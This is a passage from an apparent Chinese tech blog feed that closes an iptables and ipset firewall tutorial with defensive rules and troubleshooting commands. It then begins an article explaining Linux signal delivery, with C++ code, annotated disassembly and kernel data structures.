iptables -A INPUT -p tcp --dport 22 -m connlimit --connlimit-above 3 -j DROP

# 4. 使用recent模块防御SSH暴力破解
iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --set
iptables -A INPUT -p tcp --dport 22 -m recent --name ssh --update --seconds 60 --hitcount 4 -j DROP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;这些高级技巧可以帮助你构建更加健壮和安全的防火墙环境。&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;iptables注意事项与实用技巧&lt;/h3&gt;
&lt;h4&gt;1 避免常见陷阱&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;规则顺序至关重要&lt;/strong&gt;：iptables规则&lt;strong&gt;从上到下依次匹配&lt;/strong&gt;，一旦匹配成功即停止。常见的错误是将宽泛的拒绝规则放在前面，导致后面的允许规则永不生效：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 错误示例（第二条规则永远无法匹配）：
iptables -A INPUT -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# 正确做法（先允许后拒绝）：
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;谨慎设置默认策略&lt;/strong&gt;：在远程服务器上设置&lt;code&gt;iptables -P INPUT DROP&lt;/code&gt;前，&lt;strong&gt;务必先允许SSH连接&lt;/strong&gt;，否则会立即断开连接并被锁在服务器外。建议的做法是：先添加所有必要规则，最后再修改默认策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要完全阻塞ICMP&lt;/strong&gt;：虽然出于安全考虑可能想禁止ping，但完全阻塞ICMP会导致路径MTU发现等机制失效，影响网络性能。至少应允许ICMP错误消息。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2 性能优化技巧&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;使用连接跟踪优化&lt;/strong&gt;：对高流量服务（如Web服务器），可考虑跳过连接跟踪以提升性能：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK
iptables -t raw -A OUTPUT -p tcp --sport 80 -j NOTRACK
iptables -A INPUT -p tcp --dport 80 -m state --state UNTRACKED -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;合理规划规则顺序&lt;/strong&gt;：将最常匹配的规则放在前面，减少匹配时间。使用&lt;code&gt;iptables -L -v&lt;/code&gt;查看规则匹配计数器来优化顺序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免过于复杂的规则集&lt;/strong&gt;：每个额外规则都会增加处理开销，定期清理不再需要的规则。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;4 故障排查命令&lt;/h4&gt;
&lt;p&gt;当遇到网络连接问题时，这些命令有助于快速定位问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 查看所有规则（带行号和计数器）
iptables -L -n -v --line-numbers
# 2. 检查NAT表规则
iptables -t nat -L -n -v
# 3. 追踪数据包处理路径（动态查看匹配过程）
iptables -t raw -A PREROUTING -p tcp --dport 80 -j TRACE
# 4. 检查连接跟踪表
cat /proc/net/nf_conntrack
# 5. 清空计数器重新开始统计
iptables -Z
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ipset&lt;/h3&gt;
&lt;p&gt;在掌握了iptables的基础后，管理大量IP地址或端口规则时，你可能会发现规则集变得臃肿且难以维护。此时，&lt;strong&gt;ipset&lt;/strong&gt; 就成了你的得力助手。它允许你将大量的IP地址、端口号等元素放入一个&lt;strong&gt;命名的集合&lt;/strong&gt;中，然后让一条iptables规则来引用整个集合，从而极大提升管理效率和规则匹配性能。&lt;/p&gt;
&lt;p&gt;下面这个表格帮你快速了解ipset常见的集合类型。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;集合类型&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;典型应用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hash:ip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;存储单个IP地址&lt;/td&gt;
&lt;td&gt;管理黑名单或白名单中的独立IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hash:net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;存储IP网段（CIDR格式）&lt;/td&gt;
&lt;td&gt;封禁或允许整个子网，如 &lt;code&gt;192.168.1.0/24&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hash:ip,port&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;存储IP地址和端口号的组合&lt;/td&gt;
&lt;td&gt;封禁特定IP对特定端口的访问，如 &lt;code&gt;192.168.1.100,80&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hash:net,port&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;存储IP网段和端口号的组合&lt;/td&gt;
&lt;td&gt;允许一个网段访问特定服务端口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;list:set&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;存储其他ipset集合的名称，实现集合嵌套&lt;/td&gt;
&lt;td&gt;创建更复杂的规则组合&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能考量&lt;/strong&gt;：对于非常大的IP列表（例如成千上万个IP），使用 &lt;code&gt;hash:ip&lt;/code&gt; 可能会比在iptables中使用数万条独立规则性能好得多，因为ipset基于哈希表，查找效率接近O(1)。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ipset基本操作&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;创建集合&lt;/strong&gt;
使用 &lt;code&gt;ipset create&lt;/code&gt; 命令。建议使用描述性的集合名，并指定合适的类型。还可以通过 &lt;code&gt;maxelem&lt;/code&gt; 指定集合容量，&lt;code&gt;timeout&lt;/code&gt; 设置条目的默认过期时间。&lt;pre&gt;&lt;code&gt;# 创建一个名为&quot;blacklist&quot;的IP黑名单，最多支持10万个IP，条目默认永久有效
ipset create blacklist hash:ip maxelem 100000
# 创建一个名为&quot;temp_ban&quot;的集合，新添加的IP默认在600秒后自动移除
ipset create temp_ban hash:ip timeout 600
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;管理集合条目&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;添加条目&lt;/strong&gt;：&lt;code&gt;ipset add SETNAME ENTRY&lt;/code&gt;&lt;pre&gt;&lt;code&gt;ipset add blacklist 192.168.1.100
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;删除条目&lt;/strong&gt;：&lt;code&gt;ipset del SETNAME ENTRY&lt;/code&gt;&lt;pre&gt;&lt;code&gt;ipset del blacklist 192.168.1.100
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查看集合内容&lt;/strong&gt;：&lt;code&gt;ipset list SETNAME&lt;/code&gt; 或 &lt;code&gt;ipset list&lt;/code&gt;（查看所有集合）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;清空集合&lt;/strong&gt;：&lt;code&gt;ipset flush SETNAME&lt;/code&gt; （删除集合内所有条目，但保留集合本身）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;销毁集合&lt;/strong&gt;：&lt;code&gt;ipset destroy SETNAME&lt;/code&gt; （彻底删除整个集合）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持久化配置&lt;/strong&gt;
ipset的规则也默认保存在内存中，重启服务器后会丢失。必须手动保存和恢复。&lt;pre&gt;&lt;code&gt;# 保存所有集合的规则到文件
ipset save &amp;gt; /etc/ipset.rules
# 从文件恢复规则
ipset restore &amp;lt; /etc/ipset.rules
&lt;/code&gt;&lt;/pre&gt;
你可以将保存命令放入关机脚本，或将恢复命令放入系统启动脚本（如 &lt;code&gt;/etc/rc.local&lt;/code&gt;）以实现自动持久化。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;ipset与iptables联动&lt;/h4&gt;
&lt;p&gt;创建好ipset后，需要在iptables中使用 &lt;code&gt;-m set --match-set&lt;/code&gt; 选项来匹配它。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;匹配源IP&lt;/strong&gt;：使用 &lt;code&gt;src&lt;/code&gt; 标志。&lt;pre&gt;&lt;code&gt;# 丢弃来自黑名单中IP的所有数据包
iptables -I INPUT -m set --match-set blacklist src -j DROP
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;匹配目的IP&lt;/strong&gt;：使用 &lt;code&gt;dst&lt;/code&gt; 标志。&lt;pre&gt;&lt;code&gt;# 拒绝发往某个IP集合（如内部服务器列表）的流量
iptables -I OUTPUT -m set --match-set internal_servers dst -j REJECT
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同时匹配源和目的&lt;/strong&gt;：可以组合多个标志。&lt;pre&gt;&lt;code&gt;# 匹配特定源IP集合到特定目的端口集合的流量（如从办公网到Web服务）
iptables -A FORWARD -m set --match-set office_net src -m set --match-set web_ports dst -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;白名单（取反匹配）&lt;/strong&gt;：在 &lt;code&gt;--match-set&lt;/code&gt; 前加 &lt;code&gt;!&lt;/code&gt;。&lt;pre&gt;&lt;code&gt;# 只允许白名单中的IP访问SSH，拒绝其他所有IP
iptables -A INPUT -p tcp --dport 22 -m set ! --match-set whitelist src -j DROP
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Linux Signal</title><link>https://blog.alinche.dpdns.org/posts/os/ptrace/signal/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/ptrace/signal/</guid><description>Signal_handelr</description><pubDate>Sun, 31 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;strong&gt;深入Linux信号(Signal)机制：从内核到用户态&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;信号是Linux/Unix系统中一种历史悠久且至关重要的通信机制。它用于在进程间异步地传递通知或事件。无论是用户按下&lt;code&gt;Ctrl+C&lt;/code&gt;来中断一个程序，还是内核通知进程发生了内存访问等错误，背后都是信号在发挥作用。理解信号处理的机制与实现，对于编写健壮、可靠的系统软件至关重要。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;一、 信号的基本概念&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;想象一下，当你的手机收到一条短信时，它会中断你正在做的事情（比如看视频）,你看完通知后，可以选择忽略它，或者点击它去处理，然后回到刚才的视频。&lt;/p&gt;
&lt;p&gt;信号(Signal)，就是操作系统层面的“短信通知”。它是一种“软件中断”，是发送给进程的异步通知，用于通知一个进程发生了某个特定的事件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进程收到信号后，有三种处理方式：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;执行默认操作（Default）&lt;/strong&gt;：每个信号都有一个系统预设的默认行为。最常见的默认行为是终止进程，其他行为还包括忽略信号或停止进程等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;忽略信号（Ignore）&lt;/strong&gt;：主动告诉内核丢弃该信号，不对其做任何处理。但有两个特殊的信号&lt;code&gt;SIGKILL&lt;/code&gt; 和 &lt;code&gt;SIGSTOP&lt;/code&gt;，它们不能被忽略，也无法被捕获，以确保系统管理员总有办法终止或停止任何进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;捕获信号（Catch）&lt;/strong&gt;：提供一个用户自定义的函数（称为“&lt;code&gt;信号处理函数&lt;/code&gt;”），当信号到达时，内核会中断进程的正常执行流程，转而执行这个自定义函数。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;二、 信号的生命周期：从产生到处理&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;一个信号从诞生到消亡会经历几个关键阶段，理解这些阶段是掌握信号机制的核心。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;产生（Generation）&lt;/strong&gt;：信号由某个事件源创建。常见的事件源包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户终端&lt;/strong&gt;：用户在终端按下特殊组合键，如 &lt;code&gt;Ctrl+C&lt;/code&gt; 产生 &lt;code&gt;SIGINT&lt;/code&gt;（中断信号），&lt;code&gt;Ctrl+\&lt;/code&gt; 产生 &lt;code&gt;SIGQUIT&lt;/code&gt;（退出信号）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件异常&lt;/strong&gt;：当CPU检测到异常，如除零错误或非法内存访问，会通知内核，内核再向当前进程发送相应的信号（如 &lt;code&gt;SIGFPE&lt;/code&gt;、&lt;code&gt;SIGSEGV&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核&lt;/strong&gt;：内核可以主动发送信号来通知进程发生了某个事件，例如子进程退出时向父进程发送 &lt;code&gt;SIGCHLD&lt;/code&gt;，或由&lt;code&gt;alarm()&lt;/code&gt;系统调用设置的定时器到期时发送 &lt;code&gt;SIGALRM&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他进程&lt;/strong&gt;：一个进程可以通过 &lt;code&gt;kill()&lt;/code&gt; 或 &lt;code&gt;sigqueue()&lt;/code&gt; 等系统调用向另一个进程（需要有相应权限）发送信号，这是最常见的进程间通信(IPC)方式之一。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进程自身&lt;/strong&gt;：进程可以通过 &lt;code&gt;raise()&lt;/code&gt; 或 &lt;code&gt;abort()&lt;/code&gt; 函数给自己发送信号，常用于测试或异常处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;未决（Pending）&lt;/strong&gt;：从信号产生到它被进程处理之前的这段时间，该信号的状态被称为“未决”，目标进程尚未对其做出反应。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阻塞（Blocked）&lt;/strong&gt;：每个进程都有一个“信号掩码”(&lt;code&gt;Signal Mask&lt;/code&gt;)，它规定了哪些信号暂时不希望被接收。如果一个处于未决状态的信号恰好在信号掩码中，那么它将被阻塞，无法被递送，并会一直保持未决状态，直到进程解除对该信号的阻塞，它才会被递送。&lt;strong&gt;阻塞和忽略是完全不同的概念&lt;/strong&gt;：忽略是“丢弃”信号，而阻塞是“推迟”信号的递送。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;递送（Delivery）&lt;/strong&gt;：内核会在某个特定时机 &lt;strong&gt;（通常是从内核态返回用户态前）&lt;/strong&gt; 将一个未决且未被阻塞的信号“递送”给进程，让进程处理它。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;处理（Handling）&lt;/strong&gt;：进程在接收到递送的信号后，会根据预先设置的方式（默认、忽略或捕获）执行相应操作。一旦信号被处理，它就不再处于未决状态。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;strong&gt;三、 信号处理的完整流程&lt;/strong&gt;&lt;/h2&gt;
&lt;h3&gt;内核视角&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户空间 (User Space)：这是进程执行非特权的应用程序代码的地方，CPU处于低权限的用户模式（例如x86-64的Ring 3）下。每个进程拥有独立的虚拟地址空间和用户栈 (User Stack)，用于函数调用、参数传递和局部变量存储等。&lt;/li&gt;
&lt;li&gt;内核空间 (Kernel Space)：这是操作系统内核执行的地方。当进程需要内核服务（通过系统调用）或被外部事件（中断）打断时，它会进入内核空间，CPU切换到高权限的内核模式（Ring 0）。每个线程都关联一个独立的、位于内核地址空间的内核栈 (Kernel Stack)。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;信号的递送需要一个契机，这个契机就是一次从用户模式到内核模式的转换。我们以最常见的&lt;strong&gt;异步硬件中断&lt;/strong&gt;（如时钟中断）为例。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;中断发生: 时钟硬件向CPU发送中断信号，CPU立即停止执行代码。
&lt;ul&gt;
&lt;li&gt;硬件完成：
&lt;ul&gt;
&lt;li&gt;CPU的特权级别从用户模式提升至内核模式。&lt;/li&gt;
&lt;li&gt;最小化上下文保存，用户态的 rip,rsp,rflags,cs等寄存器压入该进程的内核栈，用于后续返回用户空间的正确位置。&lt;/li&gt;
&lt;li&gt;CPU​​根据​​中断号​​查询中断描述符表 (IDT)，找到对应的内核中断处理程序的入口地址。&lt;/li&gt;
&lt;li&gt;rip 指向内核中断处理程序的地址，rsp 指向内核栈的栈顶。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;跳转到内核，内核接管控制权，开始在内核栈上运行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内核处理完时钟中断的既定任务后，在通过 &lt;code&gt;iret&lt;/code&gt; 指令返回用户空间之前，会执行信号分发的核心逻辑 （ &lt;a href=&quot;https://code.dragonos.org.cn/xref/linux-6.1.9/arch/arm64/kernel/signal.c#1037&quot;&gt;Linux do_signal()&lt;/a&gt; ），检查当前进程是否有待处理的信号：
&lt;ul&gt;
&lt;li&gt;若发现没有未被阻塞的待处理信号，内核将直接使用内核栈上保存的最小上下文返回用户空间，继续执行被中断前的指令。&lt;/li&gt;
&lt;li&gt;反之，递送信号到进程：
&lt;ul&gt;
&lt;li&gt;修改&lt;code&gt;用户栈&lt;/code&gt;的内容，构建 &lt;strong&gt;&lt;code&gt;信号帧&lt;/code&gt;&lt;/strong&gt; &lt;code&gt;rt_sigframe&lt;/code&gt; 结构体。从高地址向低地址依次压入：
&lt;ul&gt;
&lt;li&gt;ucontext.&lt;code&gt;sigcontext&lt;/code&gt;: 给完整的用户态寄存器的一份“快照”。&lt;/li&gt;
&lt;li&gt;siginfo: ​​信号信息&lt;/li&gt;
&lt;li&gt;信号恢复器 (&lt;code&gt;Restorer&lt;/code&gt;) 的地址: 在sigcontext之上，内核压入一个返回地址。此地址指向一段特殊的、位于用户空间的代码（通常由VDSO或C库提供）。这段代码的唯一功能是触发sigreturn系统调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;修改&lt;code&gt;内核栈&lt;/code&gt;的内容：
&lt;ul&gt;
&lt;li&gt;修改rip: 将原本指向用户程序的下一条指令的rip值覆盖为用户自定义的信号处理函数(signal_handler)的入口地址。&lt;/li&gt;
&lt;li&gt;修改rsp: 将用户栈指针rsp的值，指向刚刚在用户栈上构建的信号帧的栈顶。&lt;/li&gt;
&lt;li&gt;设置函数参数: 将signo放入rdi寄存器，这是x86_64架构下函数调用的第一个参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内核执行 iret 中断返回指令，从内核栈弹出被修改过的上下文
&lt;ul&gt;
&lt;li&gt;由于 rip 已被修改，CPU不会跳回原本用户程序的下一条指令，而是直接跳转到 signal_handler 函数并开始执行。&lt;/li&gt;
&lt;li&gt;由于 rsp 已被修改，signal_handler将在内核为其准备的、位于用户栈的新栈帧上运行，就如同一个普通的函数调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;当 signal_handler 执行完毕并发出 ret 指令时：
&lt;ul&gt;
&lt;li&gt;ret 指令会从用户栈顶弹出返回地址，即内核安插的信号恢复器(Restorer)的地址。&lt;/li&gt;
&lt;li&gt;Restorer 代码执行，发起 sigreturn 系统调用，使进程再次陷入内核，内核的 sigreturn 处理程序被调用&lt;/li&gt;
&lt;li&gt;sigreturn 根据当前的用户栈指针，在用户栈上定位到sigcontext结构体。随后，它使用sigcontext中的内容，原子性地恢复所有用户态寄存器至被中断前的原始状态。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最终内核再次执行iret，这一次由于上下文是原始的，程序可以无缝地返回到最初被中断的指令，继续执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;下面是一个 cpp 的示例代码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

// 使用 volatile sig_atomic_t 来确保原子访问和防止编译器过度优化
volatile sig_atomic_t shutdown_flag = 0;

void signal_handler(int signum) {
    printf(&quot;target received %d (%s)\n&quot;, signum, strsignal(signum));
    if (signum == SIGINT || signum == SIGTERM) {
        shutdown_flag = 1;
    }
}

int main() {
    if (signal(SIGINT, signal_handler) == SIG_ERR) {
        perror(&quot;Failed to register SIGINT handler&quot;);
        exit(EXIT_FAILURE);
    }
    if (signal(SIGTERM, signal_handler) == SIG_ERR) {
        perror(&quot;Failed to register SIGTERM handler&quot;);
        exit(EXIT_FAILURE);
    }
    int i = 0;
    while (!shutdown_flag) {
        // printf(&quot;Working...\n&quot;);
        ++i;
        // sleep(1);
    }
    // printf(&quot;i=%d\n&quot;, i);
    printf(&quot;Shutdown signal received. exiting...\n&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 我们使用 g++ 编译 然后反汇编用 vim 查看
g++ -g -O2 ./sig.cpp
objdump -D ./a.out &amp;amp;| vim -
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Disassembly of section .text:

0000000000001100 &amp;lt;main&amp;gt;:
    1100:	f3 0f 1e fa          	endbr64                  ; 启用 CET 安全特性
    1104:	55                   	push   %rbp
    1105:	48 8d 2d 64 01 00 00 	lea    0x164(%rip),%rbp        # 1270 &amp;lt;_Z14signal_handleri&amp;gt;
    110c:	bf 02 00 00 00       	mov    $0x2,%edi         ; $edi=2(SIGINT)
    1111:	48 89 ee             	mov    %rbp,%rsi         ; $rsi=signal_handler 地址
    1114:	e8 97 ff ff ff       	call   10b0 &amp;lt;signal@plt&amp;gt; ; 注册 SIGINT handler
    1119:	48 83 f8 ff          	cmp    $0xffffffffffffffff,%rax  ; 检查返回值
    111d:	74 33                	je     1152 &amp;lt;main+0x52&amp;gt;  ; 失败则跳转到错误处理
    ...
    1132:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)  ; 对齐填充
    ; 这里是 while (!shutdown_flag) 循环
    1138:	8b 05 d6 2e 00 00    	mov    0x2ed6(%rip),%eax        # 4014 &amp;lt;shutdown_flag&amp;gt;
    113e:	85 c0                	test   %eax,%eax
    1140:	74 f6                	je     1138 &amp;lt;main+0x38&amp;gt;
    ; 
    1142:	48 8d 3d 27 0f 00 00 	lea    0xf27(%rip),%rdi        # 2070 &amp;lt;_IO_stdin_used+0x70&amp;gt;
    1149:	e8 52 ff ff ff       	call   10a0 &amp;lt;puts@plt&amp;gt;
    114e:	31 c0                	xor    %eax,%eax         ; return 0 的三步走
    1150:	5d                   	pop    %rbp              ; 恢复基指针 rbp
    1151:	c3                   	ret                      ; 从函数调用中返回
    ; 下面是​错误处理部分 `1152 &amp;lt;main+0x52&amp;gt;` (省略)
    1152:	48 8d 3d c7 0e 00 00 	lea    0xec7(%rip),%rdi        # 2020 &amp;lt;_IO_stdin_used+0x20&amp;gt;
    1159: e8 82 ff ff ff        call   10e0 &amp;lt;perror@plt&amp;gt; ; 打印错误
    115e: bf 01 00 00 00        mov    $0x1,%edi       ; 退出码 1
    1163: e8 88 ff ff ff        call   10f0 &amp;lt;exit@plt&amp;gt; ; 退出程序
    ...

0000000000001270 &amp;lt;_Z14signal_handleri&amp;gt;:
    1270: f3 0f 1e fa           endbr64          ; 启用 CET
    1274: 53                    push   %rbx      ; 保存 rbx
    1275: 89 fb                 mov    %edi,%ebx ; 保存信号编号到 ebx
    1277: e8 44 fe ff ff        call   10c0 &amp;lt;strsignal@plt&amp;gt; ; 获取信号描述的字符串
    127c: 89 da                 mov    %ebx,%edx ; edx=signo
    127e: bf 01 00 00 00        mov    $0x1,%edi ; edi=1 (stdout)
    1283: 48 8d 35 7a 0d 00 00  lea    0xd7a(%rip),%rsi        # 2004 &amp;lt;_IO_stdin_used+0x4&amp;gt;
    128a: 48 89 c1              mov    %rax,%rcx ; rcx=信号描述的字符串指针
    128d: 31 c0                 xor    %eax,%eax ; 清空 eax (用于浮点参数)
    128f: e8 3c fe ff ff        call   10d0 &amp;lt;__printf_chk@plt&amp;gt; ; 打印消息
    1294: 83 fb 02              cmp    $0x2,%ebx  ; 检查是否为 SIGINT(2)
    1297: 74 07                 je     12a0       ; 是则跳转
    1299: 83 fb 0f              cmp    $0xf,%ebx  ; 检查是否为 SIGTERM(15)
    129c: 74 02                 je     12a0       ; 是则跳转
    129e: 5b                    pop    %rbx       ; 恢复 rbx
    129f: c3                    ret               ; 从函数调用中返回
    12a0:	c7 05 6a 2d 00 00 01 	movl   $0x1,0x2d6a(%rip)        # 4014 &amp;lt;shutdown_flag&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;四、 核心数据结构与系统调用&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
    unsigned long sig[1]; // 64位掩码（x86_64）
} sigset_t;
typedef struct {
    void  *ss_sp;     // 栈指针（RSP）
    int    ss_flags;  // 标志（SS_ONSTACK等）
    size_t ss_size;   // 栈大小
} stack_t;
// sigcontext 通用寄存器+浮点寄存器状态
struct ucontext {
	unsigned long	  uc_flags;    // 上下文标志位（保留字段）
	struct ucontext  *uc_link;     // 指向下一级上下文
	stack_t		  uc_stack;        // 栈信息
	struct sigcontext uc_mcontext; // 寄存器状态
	sigset_t	  uc_sigmask;	   // 信号屏蔽字 /* mask last for extensibility */
};

#define SI_MAX_SIZE	128
union __sifields {
    // 多种 struct
    /* kill(), timers, signals, SIGCHLD, SIGFAULT, SIGPOLL, SIGSYS */
}
typedef struct siginfo {
	union {
		struct {
            int si_signo;
            int si_errno;
            int si_code;   // 信号来源代码
            union __sifields _sifields;  // 信号来源特定数据
        }
		int _si_pad[SI_MAX_SIZE/sizeof(int)];  // 保证结构体大小128字节
	};
} siginfo_t;

struct rt_sigframe {
	char *pretcode;      // 指向恢复代码 (__restore_rt)
	struct ucontext uc;  // 用户上下文
	struct siginfo info; // 信号信息
	/* fp state follows here */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;More detail&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.man7.org/linux/man-pages/man7/signal.7.html&quot;&gt;man 7 signal&lt;/a&gt;&lt;/h3&gt;
&lt;h3&gt;sigaction Rust 示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#[derive(Debug, Copy, Clone)]
pub struct Sigaction {
    action: SigactionType,
    flags: SigFlags,
    mask: SigSet,
    /// 信号处理函数执行结束后，将会跳转到这个函数内进行执行，然后执行 sigreturn 系统调用
    restorer: Option&amp;lt;VirtAddr&amp;gt;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;P.S.  &lt;strong&gt;多线程中的信号处理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;信号是发送给&lt;strong&gt;整个进程&lt;/strong&gt;的，但最终会由&lt;strong&gt;单个线程&lt;/strong&gt;来处理。&lt;/li&gt;
&lt;li&gt;每个线程都有自己&lt;strong&gt;独立的信号掩码&lt;/strong&gt;（阻塞集），但所有线程共享同一个&lt;strong&gt;信号处理函数表&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;当一个信号被发送到进程时，内核会选择第一个它找到的&lt;strong&gt;没有阻塞该信号的线程&lt;/strong&gt;来递送和处理。如果所有线程都阻塞了该信号，它将保持在进程的未决队列中。&lt;/li&gt;
&lt;li&gt;内核选择的线程是不确定的 (indeterminate)，是多线程编程中常见的bug来源：
&lt;ul&gt;
&lt;li&gt;库函数不安全 (Unsafe Library Functions)：信号处理函数可以中断任何线程的任何代码。如果被中断的线程正在执行一个不可重入 (non-reentrant) 的函数（如 malloc, printf，或任何持有锁的函数），就会导致死锁或数据损坏。（e.g 线程A调用malloc()获取了一个全局锁，内核选择线程A处理信号，信号处理函数被执行，它也尝试调用 malloc() =&amp;gt; &lt;strong&gt;线程A死锁在自己的信号处理器里&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;上下文混乱 (Context Confusion)：你无法预知哪个线程会执行信号处理函数，因此也就无法预知该线程当时的上下文&lt;/li&gt;
